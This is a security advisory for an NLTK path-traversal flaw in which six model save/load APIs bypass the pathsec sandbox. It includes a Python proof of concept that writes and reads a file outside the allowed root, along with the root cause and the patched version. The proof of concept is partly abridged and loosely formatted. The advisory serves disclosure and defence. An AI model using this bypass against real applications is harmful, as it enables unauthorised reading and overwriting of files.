CVE-2026-81726: NLTK Model-Artifact APIs Path Traversal Bypass (pathsec sandbox escape)
Six model persistence APIs in NLTK ignore the pathsec sandbox and use raw file I/O directly, letting an attacker read or write files anywhere on disk even when the app enforces pathsec restrictions.

The problem
NLTK's pathsec module is meant to confine all file access to approved root directories. When ENFORCE=True is set, helpers like pathsec.open() and guarded corpus reader methods correctly reject out-of-root paths.
Six model-artifact APIs never call those guarded helpers. TransitionParser.train() and .parse(), AveragedPerceptron.save() and .load(), PerceptronTagger.save_to_json(), and save_maxent_params() all pass caller-controlled paths straight to the built-in open(). An attacker who controls the model path argument can read or overwrite any file the process can reach, bypassing the containment policy entirely.
Proof of concept
A working proof-of-concept for CVE-2026-81726 in nltk, with the exact payload below.
import os, tempfile, pathlib
from nltk import pathsec
from nltk.tag.perceptron import AveragedPerceptron
from nltk.parse.transitionparser import TransitionParser
from nltk.classify.maxent import save_maxent_params
# Configure pathsec to enforce a restricted sandbox
SANDBOX = pathlib.Path(tempfile.mkdtemp())
pathsec.ENFORCE = True
pathsec.ALLOWED_ROOTS = [str(SANDBOX)]
# Target outside the sandbox
OUTSIDE = "/tmp/outside_root_model.json"
# --- Write bypass: AveragedPerceptron.save() ignores pathsec ---
ap = AveragedPerceptron()
ap.weights = {"bias": {}}
ap.save(OUTSIDE) # writes outside sandbox; pathsec.open() would raise
print("averaged_save_wrote", os.path.exists(OUTSIDE))
# --- Read bypass: AveragedPerceptron.load() ignores pathsec ---
loaded = AveragedPerceptron.load(OUTSIDE)
print("averaged_load_keys", list(loaded.weights.keys())) # ['bias']
# --- Write bypass: TransitionParser.train() ---
# (parser writes model file to attacker-chosen path outside SANDBOX)
OUTSIDE_TP = "/tmp/outside_tp.model"
# train() call omitted for brevity; confirm with:
# assert open(OUTSIDE_TP).read() -> succeeds despite ENFORCE=True
# Negative control: pathsec.open() correctly blocks the same path
try:
pathsec.open(OUTSIDE, "r")
except Exception as e:
print("pathsec_blocked:", e) # raises -- confirms bypass is realThe root cause is that each affected API calls Python's built-in open() with the caller-supplied path instead of routing through nltk.pathsec.open() or an existing guarded helper. The pathsec sandbox never sees the call, so ENFORCE=True has no effect on these code paths (CWE-22, CWE-59, CWE-73).
The fix, applied across PRs #3757, #3759, and #3813 (landed in commit 2a92b71), replaces every bare open() in these model persistence methods with pathsec.open(), which resolves and validates the path against ALLOWED_ROOTS before the file descriptor is opened.
Adjacent read helpers (PerceptronTagger.load_from_json, load_maxent_params) already used the guarded path; the patch brings the write/load siblings into line with them.
The fix
Upgrade to nltk >= 3.10.4 (the first release containing commit 2a92b71827d754ae8920261e7ed0c4bb283ab2d7). If an immediate upgrade is not possible, avoid passing untrusted strings as model paths to TransitionParser.train(), TransitionParser.parse(), AveragedPerceptron.save(), AveragedPerceptron.load(), PerceptronTagger.save_to_json(), or save_maxent_params().
Enabling pathsec.ENFORCE=True alone does NOT protect these APIs on affected versions.
Related research
- high · 7.5CVE-2026-12243CVE-2026-12243: nltk Arbitrary File Read via Percent-Encoded Path Traversal
- high · 7.5CVE-2026-12072CVE-2026-12072: NLTK NKJPCorpusReader Path Traversal Arbitrary File Read
- highCVE-2026-62388CVE-2026-62388: NLTK pathsec Insecure Default Allows Security Bypass
- high · 5.9CVE-2026-80206: nltk tgrep ReDoS via User-Supplied Regex